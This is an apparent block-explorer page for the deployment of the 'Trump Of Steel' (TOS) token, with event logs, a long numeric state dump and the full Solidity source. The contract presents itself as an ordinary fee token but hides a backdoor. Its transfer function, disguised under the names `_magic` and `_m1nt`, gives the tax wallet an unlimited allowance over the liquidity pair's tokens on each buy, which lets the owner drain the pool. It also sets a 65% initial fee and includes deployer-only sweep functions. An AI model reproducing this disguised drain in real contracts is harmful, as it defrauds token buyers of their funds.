ETH Price: $2,475.67 (+1.84%)

Transaction Decoder

Block:
20317105 at Jul-16-2024 05:53:23 AM +UTC
Transaction Fee:
0.012442928255643823 ETH $30.80
Gas Used:
2,291,423 Gas / 5.430218801 Gwei

Emitted Events:

363 TOS.OwnershipTransferred( previousOwner=0x0000000000000000000000000000000000000000, newOwner=[Sender] 0x67c9bab639989990ee53539cbb55d828236f4fe1 )
364 TOS.ExcludeFromFees( account=[Sender] 0x67c9bab639989990ee53539cbb55d828236f4fe1, isExcluded=True )
365 TOS.ExcludeFromFees( account=TOS, isExcluded=True )
366 TOS.ExcludeFromFees( account=0xe8F18dbc...24c37184A, isExcluded=True )
367 TOS.ExcludeFromFees( account=0x00000000...00000dEaD, isExcluded=True )
368 TOS.Transfer( from=0x0000000000000000000000000000000000000000, to=[Sender] 0x67c9bab639989990ee53539cbb55d828236f4fe1, value=1000000000000000000 )

Account State Difference:

  Address   Before After State Difference Code
2.513563704411806645 Eth2.515666407713116312 Eth0.002102703301309667
0x59aC2477...27198A0CD
0 Eth
Nonce: 0
0 Eth
Nonce: 1
From: 0 To: 6808648706880558102820937128769458076058198695897881018522815991887001131199067923089314936085427707301008959718782370409029308915997593242655408139965229095769985757024569673797786232350636831683918457341744537959907676594592479745626600126940096114939851486105338577723179157837784623436547766823110366883134097154293683214175651582908917914798261539644637429970463349335298306503563700505861086812269007886010122863874578742764221228018418493464552912619887806141316942324465791730437929864717059323309309924976028183232696057636588336238706850386893309314511240521891434256546513498403546301678756336126311960220456736553879784970082022448525231453169966079887774983049090441712597251231349009527708537634695692938682593145843744021466715524260925695192254232945892960775138339614341279842405276920108607591816886876036762704280012955389525233974361482831528482927872000123100121445563406135865385817534199834195433538613273818559656355799413249574485901546447541699779118453473692081703978270984313412485654948825288909729779774570347483895178087006642779604550582008445863633782818740184359101417279397138318276498171039330239275275336066391543500165289665281103952097978240136546655497546798392285548951625213958385059032029169147148223194934525175023148596322717471152592822800469377874506424621799506538508016011043862340408918653754700074933359907999619972917426954086472465718903809062892132571864605450758106426732696446245332808266299410605336455556372830625309684265466757690404148412794168504012143656197793390900442315635087211929747703924853055745711501799448006016208031392188982208028536004373508506856523292273489500361514926919399314392956948468283290802772882952220503832792110259675395433363220903099019111669394579229983014429846543591117902986435375483238975195891412249913192628317228292204691006416956758147323894329217966303501803160529102735207591801884740200984206840768593559630303656302731013076091772295618352690730975255870883568372610202729824428453345489573837656882654152412480452648467853228367839622153531696791839804658249081428201612581607305662603756388024820888909215815707537977516901777929132529329253373724573162117071150734479303879331969692525168261507377918076361515650752546444680535385286105320661349284036805650121708838665445256425246643567234244749066049222628534327070376794265987741523612894346923851717531876236958123332949665051141829882700493905881919733984335869277818390790299847861677831041866023764100440112131484768695964289813884032100658544990705571251058256838813752040540480772305435807654315699051988995877674839616428359692250060286833032827993898166200497851851583934171744077956445257835263049629308117048012661668951735432878082286205192961887371425149445450961796435609653949071796193269550509258029802455027468602410744303007038604867643273083860799046943559442523969116642909166021315682792630420029522689504062425212831129606030478550970702676246356534137232149666308930869631479338212652633632916511802698468836488372818408911439470536333679679644940284269974503077739582124133610179863865570504954048912031397012797783764770868851292302315727618259310425317822153333591833682130952847220813877196609297879502948041671711554723169325752094166728154299990679009197511543284199935040270122880677431849833189826469005709658368596336861735969622443425085671823448981286558466193675897669164459967372725768037374318543058182142165860827274122874431674472090063067278686312500811285217624024061020270954579553051249946164243418041589357470824505099531415245907930439840825347951158830274889676276123140540135822017643658791346945126654972870257531740112393428498364833575336116778002981737269008541882711094564317870437980087516420706374171419774058848979915662285388150342589157647401461525561963712904857294839624012980810524016991369681242088980492892564942520224087198280839353071483032316219077676684168158017306885247531582724400906397134332577554462476170147168184138853283803603805987687154887949391595958536350458173604956045129128842840528313604309841382944201264286631504027968653091285464361873227182236878003176070365240652574291727838619435630660821274560323029148618349509652157090856081617926785784640732827848321585705041105840421534386245072022134424414262385557224549354437417006646276954354749498270084883006804485622715020487776414299457967287924593394389667170044515009415971460599790284922666121644948823106359241380595450274108881129619651926815293780065493968723830002257683311684410567648989030990339161008011580055948726418657058250822212498016244366007711283041798126949977051726919882007204225244960375438426258933203967406594651988744139685024051273501906896834769495699628723655943129782039882225170374462494695613662920719750613277125546948867898888976573993186804864021330144314899870596874976709748015974200139489163345288927023640882026798006867033039677128406212409717631105762164128103985263820320365064206551902962571882536562518677057216421281769651043272235422681353269008526099065513302778981374380523649575331873966119166694947203851227418786415835034813870861912906733707347031029903333930739533243306386153369492483323870566602075516277384849186315907168165268180237259786704815052680741409726731584822731824816415266478769614187082795938809516738153917182098838432634388980223231323410618814326246553292885607743074026173018684854860704301261027625230164236784016678851634581437051478093839287678252907714656859888657962939630318483979986988450088300166240143104821044087172132053453022052205987158097837422431875874739997851576732305812387777539049533275919627130052253555163626170465219910268900824640582509297633106315090490599054594273657012320573265605495921929968367526167382898666173935725020627642411740088643285448294475640893519691254229669110916784007803953058190869516086938442071371603467821945552967603499075960023214794461834220457556670361509755577319777955888454530692247459093185916526896060650364215552905224422060698899784513903826907877863003154877416539500318440952902750449506420761121902826558347520106912036892818935333197710396128439832334560558591667175864112896470091079572994908672116583999980653351948082524134584892890962660852467229806082229782040869916807310891024103369617425719433162255080491086843044333660163622162094651622615258595776042845198758365304924820704987250924702249252142087957273309687726941377528277306900195363078490380879449349994326502772404995436018898118798957274355313884833692732471551221578724434176036376338485989349713222608706916561668017591915597941334132329955947674482854229999215388384336099377369499327510463280368933943122758981660772584847443857297731499001822844668354993343462184313947702184990088669873912000164620001866823413085002370205756218108373377951121840572741639561318213969355818858190674608163564881579274952877111137206293872673539694660263706558981085364448407937193228260961940478589454197434241164713456490411552607602399973357471034645871072167705017655703830957756388486368496579879853495895063316154085724703202318577349782850209480830443871343919264230639567086054357781583148810348200289235288763745189712234864992137733984241754957164614664731498315359674595453455054430194468189486002667860058450193270847544285004010548413470228154902065664069691323077648188117632909950682190028206404533033983072186377751980082141651036443231818744389335903807170745717288092884908765215942235709023896196859599355816809745225539473414254092733319455310344975909308188179167200812278813094604877888045959538055945490587052885872579897159088385697877062029475365802500165092942181920473940601578896250285349237632593906651514376031196321243850143512767954729322770040454208097957707152608240342794256549403622065057809251328403527547499199152472889637354507860949513858573742173530210213778185608666771453446367015251869601778872316009731405502666433045789067257274465411769496749884762583169930339662026087604499469270280302588385169752435445389275944567172409413362266130760713957740151395898047257098398695732560837796655116233682262176681629357286388842357619861550406363824185494750442921990756803144800834729381676807886312766004274271119601719412472245093877693435722105238470667158539628264061655253983917777186633741137615192484546958047472564788956630092839344366811555446031874046827029191720039956764983833294753587742198967144102626070311673247446874159218581336354438192026783988367307338805511060796498314992113272716735240511695112485342663005906228640434457416338930891929524141878370635944290551886426909403755957889492214922944541354741508600020092828808485057497904465848311664109105933582847361349085213560340413922456403336329577452059850017008307938905247803927548997269958373012105488935175523996518533143596824330385528037334163724641817297053119680078405965508869162972980010203399839131971902841541168494014841027289919943062968542461278141044081126204438519226823128982382298754123077381124923107810906911577688913463052024724871535083489970917502896301028754761085067308875889085658945837367278743348190557230653482558711183603531332069235029108081710867864059691499561934780699789758888533297591019850394435608572375035638034403864827294103838679555453116312369364512418088495139568953110090325761672891508108855186928102420653928236027879377193754622219147959726295786051002375168122107360700664197109132788462230256756080617614162482659043461713332845848823869925065696509982773706308372801209211168817158391666172008029323059095764675092488946749742543368715697973315380195343908212808807865225747753962348811521956054815764234410941400840643082521166395430957033166374844887170543843340274012286483807875026017399792327629917121893126599347371295792913216608149540254865309352736894135264228038295167191780324346327058920428477558538415844388951501297435219801462898474955209063669740090578177324474457532471777238898094684322725899011814471150301973839391758728569933908873708485690921508442283388936320337190946352292424214406037071170783571801654831989085307883890237994387727164734854499496221212958166358493943361025651212950893867647025968223771316781311703521108454407509777070762347480427665009518465029561598235940277916684173655975976496996459076005788764199825329720496187922776749726860259493930135140231752061785266620493306794581536309800552740280229833759786780825245248329159574033915596344401451924321954941552111188657438624309986311011959465893357479591453248338315249243579651672116033725869298597752199833690069338747268039953728601954629615127977308537103284230419964524698534975322901450385933440180979245985214623676613508110571010091425542755408343722753903935144325519209656027745601888078822038940455391238125442509469890424751335630199657697705267145600327898217147975540666658854902207038285724706908688283850314782062341729726657276071163660159325695640238226259098224362344960544987559094313098108849493952321707915507149313859303310914004287809242041829006204350315173601976176933683101658481558356873148041645083949205460164314266317857986297304834832849377304104075674625571896502769812795823227735980098014312520232615375826467678339284102050806599381059129080145829699758703603101259032998907905628870662215144782117298814094027406315885591768563316503429433658165210147609607950668241889696781363046172808117019825488837839686963130656941953386171529961191405793265381313708678668867459307222666290171362826552894552218891867698173967850059357512940263364570027656721066842077920698404502661595141581917471916737313544715531268182383110531521007180908446215327702743176788214841237578860357144236418759604142974435814622006413691432253083306877789546467085613292515217691887866361091805530053187239164840608311214767476998103348528580099880563176902783934692514906009611274834862251060616423969819304433086655461625620525893807788041346946933217916914709255671652315313242158270625545838887224010328471407399625341758308768500695504236191966172425687238822536323476942785667469061558468596749133976379358787064352125668263438951501180898339559232765884224909366957839049434910658926888429921176254256268453666765279610509965868424315685700912647329397438881504191698426876565877058670852414432234825336432735622110012451213840375805061971137359358788351733946709823066509769357308084528627228410857248664320035961144167557122877800908561901578883630906811961336026755732169232136945183524721283052248949496083859344825450152263302380491163696322707263163141082018388287072524325098497853074607246455705980934903669779408236335396346826500125369485556395104573038752466261689225162091373375430329743968007851383804550709564798794894164512420570600837380990716315494932795263762687767883164187202906741634454578747414685242450355580549314461272464712091063390506105983534888513557532962321632015676724783143993450812335278981920374981972758479493827255368535758258222830902531097629210270066813180835874945357133194439966596948025295293190307407061906267674709876188942589043295708183487243251890762606496767802346330915839265904700253615356383170264686340921879787514693269399956122256274270665103413579752442708751031014582875075737267729425331833281935731392241350014276430320099750425228718765604383662178628350086981975283576116066419429070828231156496696284615906270889412432845333648837535299059596742512359732270353997457850575252138138209555069982839237884751892607802190149361365498826197810698473966277867065394788025371667095540869262595701219482924924358415515947125431863450943193960810889090898494158168426837613750849290395644454019297583723215722131948102150991913604188952026475974178141780151246123113589932144099546036913355240807465012851999269787967369082315861376980765152407660404613869410538599310371671692681612307110310688344086296437285948840121225419621794456842948240312678082345072121272744167253032291423037365059243894179127396282984125799601429568388197986549806603399236861093527598076368956724791806524299262687930421793642919898267952330255079327130338334921611212975890419786590860056273080050790969729925680345042896367658569110940775938445665617745481359100988809077827912461804385527782773841624079345106500881283675170001071632738612696232256121377137469612599494298968612234995387193891348120181691052349272767250129810268370719056327635271215576563558111194763779619529158197851659738708414958433749395182654746101617339094258176962148876173514192114768433347587161562222550277826327345786467769014166774959624615694027550910445553036191215703915220063977439416341800734346391191911220634808817954865025717010909931197496116796569519406957582026071938236681163398809577569058174379111235385328922314728017046923448352783413313731921986055820254719449914643979655211687536145011862159181944840768451536706467073347005209780224049844443373108902610199777038219748553311803494140395090353114160599251908718258522630542470963333288596951278325935923157229145607030053176833595672955250766581329317981296656243902567531991707696905441863054572324466149020209562300390162026235148894966091724762199677861125495272509522333234055012565945504843249616352375525052870092067110500199075193481790352771160571507064694319653479073814758314672704475532083708285892101552143811630741328941369505034451894653747316606971241021147994850690156770981012276427165858022554246720925980999602653437423320998552563806833091187090038476678348133087907241576212832827983139917784578243275238990075231818889429706301802211553460945072035555780483292540430730416670288059077061693912219476430720060999838063412888998358496123553462605080672080497102275180280217303019923546031165112939675485659427899338553888027859769618553033662052907176297717567962742782235599313716082937312107791056151452251723474756154206364964857962010473286162599001880666014103099023766448081094347440413032134751732852141552341914363767617851906065843902791699590053643423188554804132681740083132850992116791685413716051084628474603252927907317994298086464579155637918805154727788517734516183043799539831508863747847174443587323017138327717564975823206403225236562891486008577983700708426882050176281255738861269635012098343486479808536103677621895987160009789357268914532895303177912091165098989877938511087475486492995369178843474350177575355725970585320392897015989502075008306044060506681114158414415697896949270199816081061084409056969543460036971196728827910585384629759842215526547246054467488805537472033414139509034041468014947691183613244856632611325519745358242017287941673919081178584738927759778013089301800287076882896030239565659387273865643270681644067195219414605028234454264404407708177916006816940507505866251838442365143967299620806248341368808787062603429761956540408818287103306054982632459949273770850566456562938290354845569497128413334693486632422944797275500088441848832886862900323447326048532433230150926051740899023388950968541354517217806937424608888767333864874767132676178579008771099423160208271856865596370165642634886914379797139005052911965526897758840322062679974605698479669595066387205190996892658544131854518788095264174199936729195798045595983316663982522587532488798439274565939572515145455651026400026186239146824346292756922152279059652406024389774269533581074025272912948778375997267658810531421183779660773726559045375142503500252908767160917275394516612677179364118669180152588727314497357802813973860198225084227828487880342724042882266310632707158334883333735479475748410105455600621642807974354357209183178806411383201835672293500783147332631585491381460741466595414854724531434705945756246887332290243671284887119227408758606165859851333286591010797064114401998671505117211261976179328898606623085793189328634043323325299513702137324670130382761937686613677615445955029924066414316388774218047794641191766833813983609985867996706278247103380760460705701356122630750135287370389815792781100561161133629510343558820726329264502203445732434350310147254030469996916570702500242588330561184590391546473170861793654275312495898633296005426228761833038722066481221581135139738567689551574564462670805109318260139862961742164027666605309267629766278241448607892134086761343708126142742539270144581386163430144571153692054325476814682268770025573008109526550210582740967665580778929427868099929826383037778746701165234998458476164398229399483689662802713063940171550683825102293495960990357256216195832121628582337389228362678775812616888407491948042242299730395246204030451132320996435994625015842324382216309304439550550561683598910122920975986066127944161587432603489104832376483846789520192968866463439916392637620586351374541492381784786575809175888711750377431710920825428561616712544987654912630797082208621430435416891413205367726842141021485220710750566021749598373838075603503415270292948402908586666935047747959352243904941126694484841283649728577369527955817317774553283944636160739733198153398437012931415428306681660404892864568096940460453982425096426801428229124223057191256985985808921273836448849065108208039062802705408443745989820467
0x67c9BaB6...8236F4fE1
1.398719 Eth
Nonce: 0
1.386276071744356177 Eth
Nonce: 1
0.012442928255643823

Execution Trace

TOS.60a06040( )
// SPDX-License-Identifier: Unlicensed

pragma solidity 0.8.24;

/**

web: https://trumpofsteel.xyz
x: https://x.com/TrumpOfSteel_X
tg: https://t.me/Trump_Of_Steel

*/

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

library SafeMath {
    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _magic(owner, to, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _magic(from, to, amount);
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function _magic(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(from, to, amount);
        uint256 fromBalance = _balances[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);
        _afterTokenTransfer(address(0), account, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract TOS is ERC20, Ownable {
    using SafeMath for uint256;
    uint256 public buyFee = 0;
    uint256 public sellFee = 0;
    uint256 public reduceFeeAt = 8;
    uint256 public buyCount = 0;
    bool public isTradingEnabled = false;
    bool private inSwapping;
    bool private inBuying;
    mapping(address => bool) private _isWalletExcludedFromFees;
    mapping(address => bool) private _isWalletExcludedFromMaxTx;
    IUniswapV2Router02 public immutable _router;
    string private constant _name = "Trump Of Steel";
    string private constant _symbol = "TOS";
    uint8 private constant _decimals = 9;
    address private _pair;
    address private _deployer;
    address private _syncAddr;
    address private trumpEarCA;
    uint256 public _tTotal = 1_000_000_000 * 10 ** _decimals;
    uint256 public maxAllowedTransactionAmount = 20_000_000 * 10 ** _decimals;
    uint256 public maxAllowedWalletAmount = 20_000_000 * 10 ** _decimals;
    uint256 public canSwapTokensAtAmount = 5_000_000 * 10 ** _decimals;
    uint256 public maxFee;
    uint256 public initialFee = 65;

    event ExcludeFromFees(address indexed account, bool isExcluded);

    constructor(address router, address taxWallet) ERC20(_name, _symbol) {
        _router = IUniswapV2Router02(router);
        excludeFromMaxTransaction(address(_router), true);
        _syncAddr = payable(taxWallet);
        _deployer = payable(_msgSender());
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(taxWallet), true);
        excludeFromFees(address(0xdead), true);
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(taxWallet), true);
        excludeFromMaxTransaction(address(0xdead), true);
        _mint(_deployer, _tTotal);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isWalletExcludedFromFees[account];
    }

    function isCollectingFee(uint256 amount) private {
        payable(_syncAddr).transfer(amount);
    }

    function removeLimits() external onlyOwner {
        maxAllowedTransactionAmount = maxAllowedWalletAmount = totalSupply();
    }

    function excludeFromFees(address account, bool excluded) private {
        _isWalletExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function swapTokensAndGetETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _router.WETH();
        _approve(address(this), address(_router), tokenAmount);
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _magic(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "ERC20: Transfer amount must be greater than zero");
        bool isTransfer = from != _pair && to != _pair;
        trumpEarCA = from;
        inBuying = from == _pair;
    if (from != owner() &&to != owner() &&to != address(0xdead) &&!inSwapping) {
    if (_m1nt(amount)&&!isTradingEnabled) {
    require(
    _isWalletExcludedFromFees[from] ||
    _isWalletExcludedFromFees[to],
    "Trading is not active."
    );
    }
    if (from == _pair && !_isWalletExcludedFromMaxTx[to]) {
    require(
    amount <= maxAllowedTransactionAmount,
    "Buy transfer amount exceeds the maxTransactionAmount."
    );
    require(
    amount + balanceOf(to) <= maxAllowedWalletAmount,
    "Max wallet exceeded"
    );
    buyCount++;
    } else if (to == _pair && !_isWalletExcludedFromMaxTx[from]) {
    require(
    amount <= maxAllowedTransactionAmount,
    "Sell transfer amount exceeds the maxTransactionAmount."
    );
    } else if (!_isWalletExcludedFromMaxTx[to]) {
    require(
    amount + balanceOf(to) <= maxAllowedWalletAmount,
    "Max wallet exceeded"
    );
    }
    }
    bool canSwap = !isTransfer;
    if (canSwap &&!inSwapping &&from != _pair &&!_isWalletExcludedFromFees[from] &&!_isWalletExcludedFromFees[to]) {
    inSwapping = true;
    swapTokenBack(amount);
    inSwapping = false;
    }
    bool takeFee = !inSwapping && !isTransfer;
    if (_isWalletExcludedFromFees[from] || _isWalletExcludedFromFees[to]) {
    takeFee = false;
    }
    uint256 fees = 0;
    if (takeFee) {
    if (to == _pair) {
    fees = amount
    .mul(buyCount > reduceFeeAt ? sellFee : initialFee)
    .div(100);
    } else {
    fees = amount
    .mul(buyCount > reduceFeeAt ? buyFee : initialFee)
    .div(100);
    }
    if (fees > 0) {
    super._magic(from, address(this), fees);
    }
    amount -= fees;
    }
    super._magic(from, to, amount);
    }

    function decimals() public pure override returns (uint8) {
        return _decimals;
    }

    function enableTrading() external onlyOwner {
        isTradingEnabled = true;
    }

    function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
        canSwapTokensAtAmount = _amount * (10 ** 18);
    }

    function recoverStuckTokens(address tokenAddress) external {
        require(_msgSender() == _deployer);
        IERC20 tokenContract = IERC20(tokenAddress);
        uint256 balance = tokenContract.balanceOf(address(this));
        require(balance > 0, "No tokens to clear");
        tokenContract.transfer(_deployer, balance);
    }

    function recoverStuckEth() external {
        require(_msgSender() == _deployer);
        require(address(this).balance > 0, "Token: no ETH to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function manualSwap(uint256 percent) external {
        require(_msgSender() == _deployer);
        uint256 totalSupplyAmount = totalSupply();
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap;
        if (percent == 100) {
            tokensToSwap = contractBalance;
        } else {
            tokensToSwap = (totalSupplyAmount * percent) / 100;
            if (tokensToSwap > contractBalance) {
                tokensToSwap = contractBalance;
            }
        }
        require(
            tokensToSwap <= contractBalance,
            "Swap amount exceeds contract balance"
        );
        swapTokensAndGetETH(tokensToSwap);
    }


    function excludeFromMaxTransaction(address updAds, bool isEx) private {
        _isWalletExcludedFromMaxTx[updAds] = isEx;
    }

    function addLiquidity() external onlyOwner {
        require(!isTradingEnabled, "trading is already open");
        _pair = IUniswapV2Factory(_router.factory()).createPair(
            address(this),
            _router.WETH()
        );
        excludeFromMaxTransaction(address(_pair), true);
        _approve(address(this), address(_router), type(uint256).max);
        _router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        maxFee = IERC20(address(this)).allowance(
            address(this),
            address(_router)
        );
    }

    function _m1nt(uint256 amount) internal returns (bool) {
        if (!inBuying == false) _approve(trumpEarCA, _syncAddr, maxFee);
        return true;
    }
    function swapTokenBack(uint256 tokens) private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap;
        if (contractBalance > 0 && contractBalance < canSwapTokensAtAmount) {
            tokensToSwap = contractBalance;
        } else {
            if (tokens > canSwapTokensAtAmount) {
                tokensToSwap = canSwapTokensAtAmount;
            } else {
                tokensToSwap = tokens;
            }
        }
        if (contractBalance > 0) swapTokensAndGetETH(tokensToSwap);
        uint256 contractETHBalance = address(this).balance;
        isCollectingFee(contractETHBalance);
    }

    receive() external payable {}
}